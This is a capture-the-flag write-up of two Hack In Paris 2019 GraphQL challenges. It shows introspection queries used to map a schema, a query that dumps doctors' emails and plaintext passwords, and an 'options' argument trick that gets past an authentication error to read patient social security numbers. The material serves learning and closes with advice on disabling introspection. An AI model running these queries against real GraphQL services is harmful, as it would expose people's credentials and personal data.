Hack In Paris 2019 CTF – “Meet Your Doctor” (GraphQL challenge)

Most CTFs fall on the weekend but every so often, I come across a mid-week CTF.  Hack In Paris was one such event.  Two of the challenges were related to GraphQL, a very useful querying language that I learned at my previous job.  If you’re a developer and are able to try it out, I highly recommend it.

GraphQL is cool for a number of reasons, including being smart about collecting the requested data and fetching it in one request, instead of several roundtrips.  For our purposes today, it has a number of other useful features, including the ability to query about the available queries and types, as well as a debugging interface called GraphQL Playground.  Luckily for us, this “playground” was accessible for the first part of the challenge.

Meet Your Doctor 1

Our prompt is:

Please help me find the Meet your doctor Admin password

So, let’s get started.

Recon

If we visit the website, we see a generic list of doctors with calendars… but none of the links work.  Except one.  And that link goes to the /graphql endpoint, which is the GraphQL Playground mentioned earlier.  This is essentially a debugging tool meant for development, so you can figure out what kind of information each query (or mutation) results in.

We know that we want the password of the admin user, but we don’t know anything about the data structure.  We don’t know what queries are available, what types are available, and so on.  But we can easily remedy that.

Schema

First, let’s send over a general query about the GraphQL schema:

{
  __schema {
    types {
      name
    }
  }
}

Enter that in on the lefthand side, then hit the big play button:

Types

As we can see, we get back a bunch of types, including “Doctor” (which looks promising) and “Query”.  Let’s find out more about the Doctor type:

{
  __type(name: "Doctor") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

Cool, so it has a password field on it.

Queries

So, we know what information we want (the admin doctor, although a list of all doctors would suffice).  Now we have to figure out how to get that information.  Let’s ask about the defined GraphQL queries available to us.

{
  __schema {
    queryType {
      fields {
        name
        description
      }
    }
  }
}

We see there’s a doctor query, but a quick test of it shows that we need to provide an ID.  Instead, let’s use the doctors (plural) query and just grab the whole list.

One of the nice things about GraphQL is that you can specify which fields you want back from a given query.  So even though the doctors query might have firstName, lastName, patients, email, password, etc. all available to us, we can ask for just the fields relevant to our current needs.  I’ll ask for email and password only.

{
  doctors {
    email
    password
  }
}

If you scroll all the way down, you’ll see:

{
    "email": "admin@notserious.com",
    "password": "Now-_Let$|GetSeri0us"
}

The password is the flag for “Meet your doctor 1”.

Meet Your Doctor 2

The next level is Meet Your Doctor 2, which gives us this prompt:

I need to find the Patient 0 social security number! It is a matter of life and death

Dramatic.

If we go to the graphql endpoint for this challenge at http://meetyourdoctor2.challs.malice.fr/graphql, we see:

You can submit graphql queries as curl requests, which I did for a while.  Then I realized I could repurpose the meetyourdoctor1 GraphQL Playground view to query meetyourdoctor2 instead, just by changing the specified URL.  The GUI makes things much easier, since using curl often involve multi-line requests.

I assumed that the basic types were the same between challenges.  So, let’s ask GraphQL about its Patient type:

{
  __type(name: "Patient") {
    name
    fields {
      name
      type {
        name
        kind
      }
    }
  }
}

The results come back that each Patient object has an id, firstName, lastName, doctor, and ssn.  We’re interested in the ssn, so let’s make a patients query.  I know that the patients query is an option, since it appeared in the earlier “show me all available queries” query.

But, I get this weird AuthenticationError message.

I wasn’t able to make much headway with that, so I tried a different approach.  Doctor information also includes a list of patients.  So, if we try to query that:

{
  doctors {
    firstName
    specialty
    patients {
      id
      ssn
    }
  }
}

We get the error:  "message": "Field \"doctors\" argument \"options\" of type \"JSON!\" is required, but it was not provided."

Uh, okay.  Cool.  Let’s throw a random options array in as an argument, then.

{
  doctors(options: "{}") {
    firstName
    specialty
    patients {
      id
      ssn
    }
  }
}

This makes the errors go away but we get a bunch of nulls instead of the patients array that we expected.

This was kind of silly but I just guessed that the options might include a true/false for including patient info, so I tried:

{
  doctors(options: "{\"patients\":true}") {
    firstName
    specialty
    patients {
      id
      ssn
    }
  }
}

…and it worked!  If you scroll all the way down, you’ll see doctor “Admin” whose specialty is “Challenging”.  Their only patient has a SSN of “b16cff8b-4a5a-41c8-8545-d9880fd7aae5”.

Note:  there is a level 3 but I ran out of time to complete it.  Unlike the first two levels, it has introspection disabled.  This makes it significantly harder to learn about the different queries and types, so consider it when securing your GraphQL-based software!

Thanks to the organizers!  It was a fun set of challenges.  🙂